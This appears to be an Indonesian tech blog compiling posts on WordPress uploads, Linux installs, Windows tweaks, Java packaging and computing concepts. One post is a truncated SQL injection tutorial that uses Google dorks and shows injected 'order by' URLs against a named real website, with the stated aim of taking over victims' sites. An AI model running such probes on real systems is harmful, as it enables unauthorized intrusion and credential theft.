Upload file di lokal blog

kalo mau sisipin file di blog biasanya kan kita upload file tersebut di web jasa upload, misal 4Sh*re, IDW* Medi*fire, dr*pbox, dll..

nah di post kali ini saya mau berbagi cara upload file di lokal blog tanpa kita upload dulu file kita di web penyedia jasa upload seperti yang di jelaskan di atas..

Note : pastikan size blog kamu masih cukup untuk upload file nya , ini saya praktekkan di wordpress

Pilih add media

Untitled

Upload file yang ingin di upoad untuk di download nanti , lalu insert to post

Untitled

Hasilnya seperti link di bawah ini :

tes

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SQL Injection

Step by Step SQL injection
Ini adalah cara atau teknik hacking yang sering di gunakan untuk mendapatkan username dan password dari website korban. Dengan begitu, si “hacker” dapat mengambil alih website korban secata full access..mantap !! udah langsung aja ya intip  caranya

===[1]===
Mencari target,,
Untitled
untuk mencari target kalian dapat memakai google dorks untuk SQLi
contoh : http://www.pantirapih.or.id/baru09/k…d.php?id=47766

===[2]===
Cek – Ricek
Untitled2

Setelah menemukan target , langkah berikutnya adalah mengecek apakah target dapat di inject atau tidak.
cara mengecek dengan menambahkan karakter * atau – pada akhir alamat url.
contoh : http://www.pantirapih.or.id/baru09/k…d.php?id=47766*
http://www.pantirapih.or.id/baru09/k….php?id=47766-

jika ditemukan error seperti
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/u198/domain/pantirapih.or.id/web/baru09/konsultasi_read.php on line 13

maka target tersebut vuln / dapat di inject.

===[3]===
mencari dan menghitung jumlah table yang ada dalam databasenya…

Untitled2gunakan perintah : +order+by+

contoh:
http://www.pantirapih.or.id/baru09/k…6+order+by+1–

sekarang cek secara satu per satu
contoh:
http://www.pantirapih.or.id/baru09/k…6+order+by+1–
http://www.pantirapih.or.id/baru09/k…6+order+by+2–
hingga
http://www.pantirapih.or.id/baru09/k…+order+by+12–
http://www.pantirapih.or.id/baru09/k…+order+by+13–

sehingga muncul error atau hilang pesan error…
misal:
http://www.pantirapih.or.id/baru09/k…+order+by+13–

berarti yang kita ambil adalah sampai angka 12
Continue reading

Cara instal program di Linux

Assalamu alaikum,,ketemu lagi ni sama trik & tips dr saya,kali ini akan membahas gimana si cara install program di linux?? kalo di windows kan gampang tinggal next next aja hahaha,, di Linux jg gampang kok langsung aja yaa..

1. mengcompile dan install program dari source
Biasanya aplikasi yang diinstall dari source akan berekstensi “.tar.gz”, “.tar.bz2″, “. zip”, dan biasanya sebelum menginstall program tersebut ada beberapa orang yang lebih suka menaruh file-file tersebut sebelum diinstall di /usr/local/src/ tetapi ini bukan suatu keharusan bisa ditaruh dimana saja. Langsung saja ke tahap selanjutnya mulai menginstall, pertama-tama buka terminal atau command prompt anda lalu langsung menuju ke dimana anda menaruh file tersebut, lalu lakukan hal ini, sesuaikan dengan ekstensi file anda.

[ file dengan ekstensi .tar.gz ——> tar -xzvf <nama file> ]

[ file dengan ekstensi .tar.bz2 ——> tar -jxvf <nama file> ]

[ file dengan ekstensi .zip ——> unzip <nama file> ]

setelah melakukan hal tersebut maka file anda akan terekstaks secara otomatis akan membuat sebuah folder, lalu buka file tersebut dengan

[ cd <nama file> ]

langkah selanjutnya adalah tinggal tinggal melakukan pre-installation dengan menuliskan

[ ./configure ]

[make]

[make install]
sampai disini sudah selesai, namun ada baiknya sebelum melakukan instalasi program anda membaca manual dalam menginstall program tersebut biasanya ada di INSTALL atau README.

2. menginstall program berekstensi RPM dari Redhat Packet Manager
Untuk menginstall program dengan ekstensi ini sangat mudah biasanya aplikasi ini di pakai pada distro redhat dan turunannya, berikut caranya;

[ menginstall program —‘ rpm -i <nama file> ]

[ menguninstall program —‘ rpm -e <nama file> ]

3. menginstall program menggunakan apt-get bawaan debian
Pada distro debian danturunannya dikenal apt-get untuk menginstall program, namun ada yang lebih penting selain aplikasi tersebut yaitu kita arus menset source-list yaitu alamat yang digunakan untuk aplikasi tersebut menginstall program in iberguna apabila kita menggunakan aplikasi apt-get ini secara online. Biasanya alamat tersebut ditambahkan di /etc/apt/source.list dengan cara buka dengan aplikasi editor anda lalu tambahkan alamat-alamat yang berisi source-list program.

Setelah melakukan perubahan source.list ada baiknya kita melakukan

[ apt-get update ] untuk mengupdate source.list yang kita miliki.

Langkah selanjutnya adalah mengintall program menggunakan apt-get

[ install —‘ apt-get install <nama program> ]

[ uninstall –‘ apt-get remove <nama program> ]

4. menginstall program di mandriva
Untuk menginstall program di mandriva dapat dilakukan dengan cara

[ install –‘ urpmi <nama program> ]
[ uninstall –‘ urpme <nama program ]

5. menginstall program di fedora menggunakan yum
Pada dasarnya cara menginstall menggunakan yum hamper sama dengan menggunakn pt-get di debian berikut caranya

[ yum update ]

[ yum install <nama program> ]

[ yum remove <nama program> ]

6. menginstall paket di slackware
menginstall paket di slackware lebih gampang lagi tinggal masuk ke root kemudian;

[ install -‘installpkg <nama program.tgz> ]

[ uninstall –‘ removepkg <nama program.tgz> ]

atau bisa juga menggunakan
[ pkg tool ]

selain itu kita juga bisa mengubah file berekstensi rpm ke format tgz dengan cara yang sangat mudah

[rpm2tgz <nama paket.rpm>]

7. menginstall file binary (.BIN/ .SH)

untuk menginstall program binary ada beberapa langkah yang pertama pastikan file tersebut dapat dieksekusi berikut caranya;

[ chmod +x nama program.bin], kemudian

[ ./nama program.bin]

[sh nama program.sh]

Mungkin ini hanya beberapa cara saja dari banyak cara dalam menginstall program di linux namun ini sudah cukup untuk mengenal dan menginstall program di linux

Catatan :
” Cara diatas semuanya dilakukan menggunakan console/terminal/ command-prompt di linux.

” biasanya dalam menginstall program hanya bisa dilakukan oleh root, maka masuklah sebagai root untuk menginstall program-program tersebut. Ada beberapa cara masuk ke root bisa menggunakan [su], atau bisa juga menggunakan [sudo su].

” Selain cara menginstall diatas mungkin anda bisa menggunakan aplikasi GUI yang juga bisa digunakan untuk menginstall program, sebagai contoh di debian dan ubuntu bisa menggunakan synaptic packet manager.

iseng sama si Windo*s

Cara berikut ini dapat dilakukan untuk mempercepat browsing ketika berada di dalam jaringan.

    1. Hapus Shortcut yang ada di [My Network Places].
    2. Ganti registry untuk share folder di remote computer yang tidak bekerja secara otomatis dengan menambahkan di [My Network Places] ketika membuka dokumen share folder.

– Klik [Start] > [Run] > ketika [Regedit].

– Buka folder registry [HKEY_Current_User] > [Software] > [Microsoft] > [Windows] > [CurrentVersion] > [Policies] > [Explorer].

– Buat [DWORD] baru dengan nama [NoRecentDocsNetHood] dengan value data1.

– Anda juga harus melihat [UseDesktopIniChace] dengan nilai 1 pada folder registry [HKEY_Current_User] > [Software] > [Microsost] > [Windows] >[CurrentVersion] > [Policies] > [Explorer].

  1. Untuk menambahkan jumlah data pada satu waktu untuk dikirim ke client, anda harus merubah registry di computer anda dengan share direktori berikut,- Buka registry folder: [HKEY_Local_Machine] > [System] > [CurrentControlSet] > [Service] > [LanmanServer] < [Parameters].– Buat [DWORD] baru dengan nama [SizRegBuf] dengan nilai hex [FFFF].
  2. Restart Komputer anda.

Dan ini adalah Untuk Memperbaiki Browsing yang lambat di semua Windows

  1. Apa bila proses browsing terasa lambat, hapus registry berikut:
  2. Klik [Start] > [Run] > ketik [regedit]
    Buka folder registry: [HKEY_Local_Machine] > [Software] > [Microsoft] > [Windows] > [CurrentVersion] > [Explorer] > [RemoteComputer] > [NamaSpace] > [(D6277990-4C6A-8D87-00AA0060F5BF)].
  3. Klik kanan pada registry di atas kemudian klik Delete.
  4. Restart computer.semoga bermanfaat ^^b

Convert .java ke .jar lalu ke .exe part 2

hmm melihat dari postingan saya yang kemarin2 . masih banyak yang bingung, maka dengan ini saya menyatakan bahwa : SELAIN DENGAN CARA PRIMITIF TERSEBUT ,, KAWAN2 JUGA DAPAT MENGUBAH JAVA-JAR-EXE DENGAN bantuan aplikasi yang bernama JAR MAKER & J2 wizard ..  bisa di download di sini nih :

 http://www.ziddu.com/download/4375528/JARMaker.exe.html

http://www.ziddu.com/download/4375529/J2EWizard1.4.exe.html

untuk langkah2 nya ikuti langkah2 di bawah ini :

1. Compile source code javanya, jadikan semuanya dalam sebuah folder, apabila menghasilkan banyak class, taruh semua ditempat tersebut. Siap digoreng.

2. Jalankan JarMaker, hal yang harus diperhatikan:
– Gunakan hanya tab JAR Maker, untuk pembuatan jar.
– Output File, menentukan tempat dan nama file hasil konversi
– Input direktory, tempat asal semua class yang akan dijadikan Jar
– JAR compression Rate, semakin besar kompresi yang bisa dilakukan semakin efektif
– Abaikan Advanced Option kecuali tahu artinya
– Manifest Template, Penting harus memilih file Main-Class, sebagai class utama yang pertama kali dipanggil. Tuliskan nama class-nya tanpa akhiran class.


—–> Create jar! untuk menghasilkan file jarnya.
Apabila berjalan, jar siap dipanggang jadi exe

3. Jalankan j2exe Wizard, ikuti wizard yang ada:
– Pilih nama file jar yang sudah dibuat tadi
– Pilih jenis aplikasinya. Gunakan Windows GUI Application apabila menggunakan aplikasi berbasis Frame. sedangkan Console akan menampilkan command prompt, pilih jenis ini untuk aplikasi dos atau aplikasi frame tapi membutuhkan penampilan diagnosa error dan trace jalannya aplikasi pada command prompt.
– Tentukan nama file main class-nya tanpa ekstensi class. Biasanya langsung disebutkan oleh aplikasi dengan membaca file Manifest yang ada dalam jar, jadi tinggal next saja.
– Tentukan tempat hasil exe-nya.
– Udah Finisih, aplikasi siap disajikan.

Cloud computing

Cloud computing
Adalah teknologi yang menggunakan internet dan server pusat yang jauh untuk menjaga/mengelola data dan aplikasi. Cloud computing membantu konsumen dan pebisnis untuk menggunakan aplikasi tanpa melakukan instalasi, mengakses file pribadi mereka di komputer manapun dengan akses internet. Teknologi ini memungkinkan efisiensi lebih dengan memusatkan penyimpanan, memory, pemrosesan, dan bandwith.

Contoh cloud computing adalah Yahoo email atau Gmail. Anda tidak perlu software atau server untuk menggunakannya. Semua konsumen hanya perlu koneksi internet dan mereka dapat mulai mengirimkan email. Software manajemen email dan serber semuanya ada di cloud (internet) dan secara total dikelola oleh provider seperti Yahoo, Google, etc. Konsumen hanya perlu menggunakan software itu sendiri dan menikmati manfaatnya. Analoginya adalah, “Jika and membutuhkan susu, kenapa membeli sapi?” Yang semua pengguna butuhkan adalah manfaat menggunakan software atau hardware seperti mengirim email dll. Hanya untuk mendapatkan manfaat ini (susu) mengapa konsumen harus membeli sapi (software/hardware)

Cloud computing dipecah ke dalam 3 segmen : aplikasi, platform, dan infrastruktur. Setiap segmen memberikan tujuan dan penawaran produk yang berbeda untuk pebisnis dan individual di seluruh dunia. Pada bulan Juni 2009, penelitian dilakukan oleh VersionOne yg menemukan bahwa 41% profesional senior di bidang IT tidak tahu apa itu cloud computing dan dua pertiga dari profesional keuangan bingung dengan konsep tersebut. Pada bulan September 2009, penelitian Aberdeen Group menemukan bahwa perusahaan yang disiplin mencapai rata-rata 18% pengurangan biaya IT mereka dari cloud computing dan 16% pengurangan dalam data center power costs

Sumber: http://id.shvoong.com/internet-and-technologies/software/2022693-definisi-cloud-computing/#ixzz1Jw9ftNLN

BIOINFORMATIKA

PENGERTIAN

Bioinformatika (bahasa Inggris: bioinformatics) adalah (ilmu yang mempelajari) penerapan teknik komputasional untuk mengelola dan menganalisis informasi biologis.Bidang ini mencakup penerapan metode-metode matematika, statistika, dan informatika untuk memecahkan masalah-masalah biologis, terutama dengan menggunakan sekuens DNA dan asam amino serta informasi yang berkaitan dengannya. Contoh topik utama bidang ini meliputi basis data untuk mengelola informasi biologis, penyejajaran sekuens (sequence alignment), prediksi struktur untuk meramalkan bentuk struktur protein maupun struktur sekunder RNA, analisis filogenetik, dan analisis ekspresi gen.

SEJARAH

Istilah bioinformatics mulai dikemukakan pada pertengahan era 1980-an untuk mengacu pada penerapan komputer dalam biologi. Namun demikian, penerapan bidang-bidang dalam bioinformatika (seperti pembuatan basis data dan pengembangan algoritma untuk analisis sekuens biologis) sudah dilakukan sejak tahun 1960-an.

Kemajuan teknik biologi molekular dalam mengungkap sekuens biologis dari protein (sejak awal 1950-an) dan asam nukleat (sejak 1960-an) mengawali perkembangan basis data dan teknik analisis sekuens biologis. Basis data sekuens protein mulai dikembangkan pada tahun 1960-an di Amerika Serikat, sementara basis data sekuens DNA dikembangkan pada akhir 1970-an di Amerika Serikat dan Jerman (pada European Molecular Biology Laboratory, Laboratorium Biologi Molekular Eropa). Penemuan teknik sekuensing DNA yang lebih cepat pada pertengahan 1970-an menjadi landasan terjadinya ledakan jumlah sekuens DNA yang berhasil diungkapkan pada 1980-an dan 1990-an, menjadi salah satu pembuka jalan bagi proyek-proyek pengungkapan genom, meningkatkan kebutuhan akan pengelolaan dan analisis sekuens, dan pada akhirnya menyebabkan lahirnya bioinformatika.

Perkembangan internet juga mendukung berkembangnya bioinformatika. Basis data bioinformatika yang terhubung melalui internet memudahkan ilmuwan mengumpulkan hasil sekuensing ke dalam basis data tersebut maupun memperoleh sekuens biologis sebagai bahan analisis. Selain itu, penyebaran program-program aplikasi bioinformatika melalui internet memudahkan ilmuwan mengakses program-program tersebut dan kemudian memudahkan pengembangannya.
Penerapan utama bioinformatika

  • Basis data sekuens biologis

Sesuai dengan jenis informasi biologis yang disimpannya, basis data sekuens biologis dapat berupa basis data primer untuk menyimpan sekuens primer asam nukleat maupun protein, basis data sekunder untuk menyimpan motif sekuens protein, dan basis data struktur untuk menyimpan data struktur protein maupun asam nukleat.

Basis data utama untuk sekuens asam nukleat saat ini adalah GenBank (Amerika Serikat), EMBL (Eropa), dan DDBJ(en) (DNA Data Bank of Japan, Jepang). Ketiga basis data tersebut bekerja sama dan bertukar data secara harian untuk menjaga keluasan cakupan masing-masing basis data. Sumber utama data sekuens asam nukleat adalah submisi langsung dari periset individual, proyek sekuensing genom, dan pendaftaran paten. Selain berisi sekuens asam nukleat, entri dalam basis data sekuens asam nukleat umumnya mengandung informasi tentang jenis asam nukleat (DNA atau RNA), nama organisme sumber asam nukleat tersebut, dan pustaka yang berkaitan dengan sekuens asam nukleat tersebut.

Sementara itu, contoh beberapa basis data penting yang menyimpan sekuens primer protein adalah PIR (Protein Information Resource, Amerika Serikat), Swiss-Prot (Eropa), dan TrEMBL (Eropa). Ketiga basis data tersebut telah digabungkan dalam UniProt (yang didanai terutama oleh Amerika Serikat). Entri dalam UniProt mengandung informasi tentang sekuens protein, nama organisme sumber protein, pustaka yang berkaitan, dan komentar yang umumnya berisi penjelasan mengenai fungsi protein tersebut.

BLAST (Basic Local Alignment Search Tool) merupakan perkakas bioinformatika yang berkaitan erat dengan penggunaan basis data sekuens biologis. Penelusuran BLAST (BLAST search) pada basis data sekuens memungkinkan ilmuwan untuk mencari sekuens asam nukleat maupun protein yang mirip dengan sekuens tertentu yang dimilikinya. Hal ini berguna misalnya untuk menemukan gen sejenis pada beberapa organisme atau untuk memeriksa keabsahan hasil sekuensing maupun untuk memeriksa fungsi gen hasil sekuensing. Algoritma yang mendasari kerja BLAST adalah penyejajaran sekuens.

PDB (Protein Data Bank, Bank Data Protein) adalah basis data tunggal yang menyimpan model struktural tiga dimensi protein dan asam nukleat hasil penentuan eksperimental (dengan kristalografi sinar-X, spektroskopi NMR dan mikroskopi elektron). PDB menyimpan data struktur sebagai koordinat tiga dimensi yang menggambarkan posisi atom-atom dalam protein ataupun asam nukleat.

  • Penyejajaran sekuens

Penyejajaran sekuens (sequence alignment) adalah proses penyusunan/pengaturan dua atau lebih sekuens sehingga persamaan sekuens-sekuens tersebut tampak nyata. Hasil dari proses tersebut juga disebut sebagai sequence alignment atau alignment saja. Baris sekuens dalam suatu alignment diberi sisipan (umumnya dengan tanda “–”) sedemikian rupa sehingga kolom-kolomnya memuat karakter yang identik atau sama di antara sekuens-sekuens tersebut. Berikut adalah contoh alignment DNA dari dua sekuens pendek DNA yang berbeda, “ccatcaac” dan “caatgggcaac” (tanda “-” menunjukkan kecocokan atau match di antara kedua sekuens).

SUMBER : http://lordbaqie.blogspot.com/2010/05/bioinformatika-bahasa-inggris.html

ubah java ke *.jar dan *.exe

Sekedar share aja maap klo udah basi………

kadang2 penasaran jg gmana cara konvert file .java (J2SE) menjadi .jar bahkan .exe tanpa pke “netbin” alias cuma punya notepad aja…

nah yg kmaren ane udah coba n berhasil kya gini nih

pertama2 Cara Konvert *.java (J2SE) –> *.JAR Tanpa aplikasi :

1 berdoa (wajib…)

2 siapkan cemilan (kalo punya)

3 kompile file .java nya kya biasa hinnga muncul .class nya

  • Ex: fun.java di kompile pke cmd (javac fun.java),,klo berhasil nongol fun.class

4 klo udah, buka notepad ketik di notepad ky gini :

  • Manifest-Version: 1.0
  • Main-Class: fun

5 keterangan : fun itu adalah class utama yg ad di program. java kite

  • ex : public class fun

6 save file yg dibuat td satu folder sama file .java nya save namanya fun.mf  —> fun itu nama class utamanya

7 nah udah gitu ketik di cmd :

jar cmf fun.mf fun.jar fun.class fun.java

UDAH deh …… skarang udah ada file yg namanye fun.jar

klo buat jalaninya pke perintah kya gini di cmd :

java -jar fun.jar

————————————————————————————————————————

ubah .jar ke .exe hmm klo ini pake aplikasi cuy.. ga dapet kmaren ngoprek2 nyaa..

bisa di donlot disini neh gretongan kok :

http://downloads.ziddu.com/downloadfile/13559190/launch4j-3.0.1-win32.rar.html

nah cara nya donlot disini :

http://www.ziddu.com/download/13627575/convert_jar_to_exe.pdf.html

Sliahkan dilihat, diraba,, di trawang yee..

Kinerja Komputasi Modern

Paralel prosessing komputasi adalah proses atau pekerjaan komputasi di komputer dengan memakai suatu bahasa pemrograman yang dijalankan secara paralel pada saat bersamaan. Secara umum komputasi paralel diperlukan untuk meningkatkan kecepatan komputasi bila dibandingkan dengan pemakaian komputasi pada komputer tunggal.

Penggunaan komputasi parallel prosessing merupakan pilihan yang cukup handal untuk saat ini untuk pengolahan data yang besar dan banyak, hal ini apabila dibandingkan dengan membeli suatu super komputer yang harganya sangat mahal maka penggunaan komputasi parallel prosessing merupakan pilihan yang sangat tepat untuk pengolahan data tersebut.
Aspek keamanan merupakan suatu aspek penting dalam sistem parallel prosessing komputasi ini, karena didalam sistem akan banyak berkaitan dengan akses data, hak pengguna, keamanan data, keamanan jaringan terhadap peyerangan sesorang atau bahkan virus sehingga akan menghambat kinerja dari system komputasi ini.

Parallel komputasi adalah melakukan perhitungan komputasi dengan menggunakan 2 atau lebih CPU/Processor dalam suatu komputer yang sama atau komputer yang berbeda dimana dalam hal ini setiap instruksi dibagi kedalam beberapa instruksi kemudian dikirim ke processor yang terlibat komputasi dan dilakukan secara bersamaan. Untuk proses pembagian proses komputasi tersebut dilakukan oleh suatu software yang betugas untuk mengatur komputasi dalam hal makalah ini akan digunakan Message Parsing Interface (MPI).

Perbandingan antara serial komputasi dan parallel komputasi

Pada sistem komputasi parallel terdiri dari beberapa unit prosesor dan beberapa unit memori. Ada dua teknik yang berbeda untuk mengakses data di unit memori, yaitu shared memory address dan message passing. Berdasarkan cara mengorganisasikan memori ini komputer paralel dibedakan menjadi shared memory parallel machine dan distributed memory parallel machine.

Prosesor dan memori ini didalam mesin paralel dapat dihubungkan (interkoneksi) secara statis maupun dinamis. Interkoneksi statis umumnya digunakan oleh distributed memory system (sistem memori terdistribusi). Sambungan langsung peer to peer digunakan untuk menghubungkan semua prosesor. Interkoneksi dinamis umumnya menggunakan switch untuk menghubungkan antar prosesor dan memori.

Komunikasi data pada sistem paralel memori terdistribusi, memerlukan alat bantu komunikasi. Alat bantu yang sering digunakan oleh sistem seperti PC Jaringan pada saat ini adalah standar MPI (Message Passing Interface) atau standar PVM (Parallel Virtual Machine)yang keduanya bekerja diatas TCP/IP communication layer. Kedua standar ini memerlukan fungsi remote access agar dapat menjalankan program pada masing-masing unit prosesor.

Salah satu protocol yang dipergunakan pada komputasi parallel adalah Network File System (NFS), NFS adalah protokol yang dapat membagi sumber daya melalui jaringan. NFS dibuat untuk dapat independent dari jenis mesin, jenis sistem operasi, dan jenis protokol transport yang digunakan. Hal ini dilakukan dengan menggunakan RPC. NFS memperbolehkan user yang telah diijinkan untuk mengakses file-file yang berada di remote host seperti mengakses file yang berada di lokal. Protokol yang digunakan protokol mount menentukan host remote dan jenis file sistem yang akan diakses dan menempatkan di suatu direktori, protokol NFS melakukan I/O pada remote file system. Protokol mount dan protokol NFS bekerja dengan menggunakan RPC dan mengiri dengan protokol TCP dan UDP. Kegunaan dari NFS pada komputasi parallel adalah untuk melakukan sharing data sehingga setiap node slave dapat mengakses program yang sama pada node master.

Software yang diperlukan untuk Parallel komputasi adalah PGI CDK, dimana aplikasi ini telah dilengkapi dengan Cluster Development Kit dimana software ini telah memiliki feature yang lengkap bila ingin melakukan komputasi dengan parallel prosessing karena software ini telah mensupport MPI untuk melakukan perhitungan komputasi.

sumber :

Pengenalan komputasi modern

Komputasi sebetulnya bisa diartikan sebagai cara untuk menemukan pemecahan masalah dari data input dengan menggunakan suatu algoritma. Komputasi merupakan suatu sub-bidang dari ilmu komputer dan matematika. Selama ribuan tahun, perhitungan dan komputasi umumnya dilakukan dengan menggunakan pena dan kertas, atau kapur dan batu tulis, atau dikerjakan secara mental, kadang-kadang dengan bantuan suatu tabel. Namun sekarang, kebanyakan komputasi telah dilakukan dengan menggunakan komputer.
Secara umum iIlmu komputasi adalah bidang ilmu yang mempunyai perhatian pada penyusunan model matematika teknik penyelesaian numerik serta penggunaan komputer untuk menganalisis dan memecahkan masalah-masalah ilmu (sains). Dalam penggunaan praktis, biasanya berupa penerapan simulasi komputer atau berbagai bentuk komputasi lainnya untuk menyelesaikan masalah-masalah dalam berbagai bidang keilmuan, tetapi dalam perkembangannya digunakan juga untuk menemukan prinsip-prinsip baru yang mendasar dalam ilmu.
Alan Turing secara luas dianggap sebagai bapak ilmu komputer modern. pada tahun 1936 turing memberikan formalisasi berpengaruh konsep algoritma dan perhitungan dengan mesin turing. dari perannya dalam komputer modern, waktu turing majalah dalam penamaan salah satu dari 100 orang paling berpengaruh dari abad ke-20, menyatakan: “kenyataan tetap bahwa setiap orang yangkerandi keyboard, membuka spreadsheet atau program pengolah kata, aalah bekerja pada inkarnasi dari mesin turing. ”

Penemu program komputer yang dikendalikan Konrad Zuse, yang membangun komputer kerja pertama pada tahun 1941 dan kemudian pada tahun 1955 komputer pertama berdasarkan penyimpan yang bersifat magnetis.
George stibitz secara internasional diakui sebagai ayah dari komputer digital modern.
sementara bekerja di laboratorium bel di November 1937, stibitz menciptakan dan membangun sebuah relay berbasis kalkulator ia dijuluki sebagai “model k” (untuk “meja dapur”, di mana dia telah berkumpul itu), yang adalah orang pertama yang menggunakan sirkuit biner untuk melakukan operasi aritmatika. Kemudian model menambahkan kecanggihan yang lebih besar termasuk aritmatika
dan kemampuan pemrograman kompleks.
Namun jIKA berbicara siapakah tokoh yang paling berpengaruh terhadap perkembangan ilmu komputer dan komputasi modern, John Von Neumann-lah orangnya.

John Von Neumann adalah salah satu ahli matematika terbesar abad ini. Beliaulah yang pertama kali menggagas konsep sebuah sistem yang menerima instruksi-instruksi dan menyimpannya dalam sebuah memori. Konsep inilah yang menjadi dasar arsitektur komputer hingga saat ini. Beliau juga salah seorang ilmuwan yang sangat berpengaruh dalam pembuatan bom atom di Los Alamos pada Perang Dunia II lalu.
Kepiawaian Von Neumann terletak pada bidang teori game yang melahirkan konsep seluler automata, teknologi bom atom, dan komputasi modern yang melahirkan komputer. Kegeniusannya dalam matematika telah terlihat semenjak kecil dengan mampu melakukan pembagian bilangan delapan digit (angka) di dalam kepalanya.
Von Neumann dilahirkan di Budapest, ibu kota Hungaria, pada 28 Desember 1903 dengan nama Neumann Janos. Dia adalah anak pertama dari pasangan Neumann Miksa dan Kann Margit. Di sana, nama keluarga diletakkan di depan nama asli. Sehingga dalam bahasa Inggris, nama orang tuanya menjadi Max Neumann dan Margaret Kann. Max Neumann memperoleh gelar dan namanya berubah menjadi Von Neumann. Max Neumann adalah seorang Yahudi Hungaria yang bergelar doktor dalam ilmu hukum. Dia juga seorang pengacara untuk sebuah bank. Pada tahun 1903, Budapest terkenal sebagai tempat lahirnya para manusia genius dari bidang sains, penulis, seniman dan musisi.
berdasarkan beberapa definisi di atas, maka komputasi modern dapat diartikan sebagai suatu pemecahan masalah berdasarkan suatu inputan dengan menggunakan algoritma dimana penerapannya menggunakan berbagai teknologi yang telah berkembang seperti komputer.
Dengan begitu waktu yang diperlukan untuk menemukan solusi atas masalah lebih cepat dan keakuratan dari selousi tersebut lebih tinggi dibandingkan dengan komputasi terdahulu yang umumnya menggunakan pena dan kertas maupun kapur dan batu tulis atau dikerjakan dengan menggunakan bantuan tabel.

Dalam kerjanya komputasi modern menghitung dan mencari solusi dari masalah yang ada, dan perhitungan yang dilakukan itu meliputi:

  1. Akurasi (big, Floating point)
  2. Kecepatan (dalam satuan Hz)
  3. Problem Volume Besar (Down Sizzing atau pararel)
  4. Modeling (NN & GA)
  5. Kompleksitas (Menggunakan Teori big O)

SUMBER :
http://my.opera.com/aviciena/blog/show.dml/8170711
http://bowbow.co.tv/?p=79
http://www.komputasi.lipi.go.id/utama.cgi?cetakartikel&1111718762
http://tulisanbobby.blogspot.com/2010/03/pengenalan-komputasi-modern.html
http://www.cungkring.com/komputasi-modern/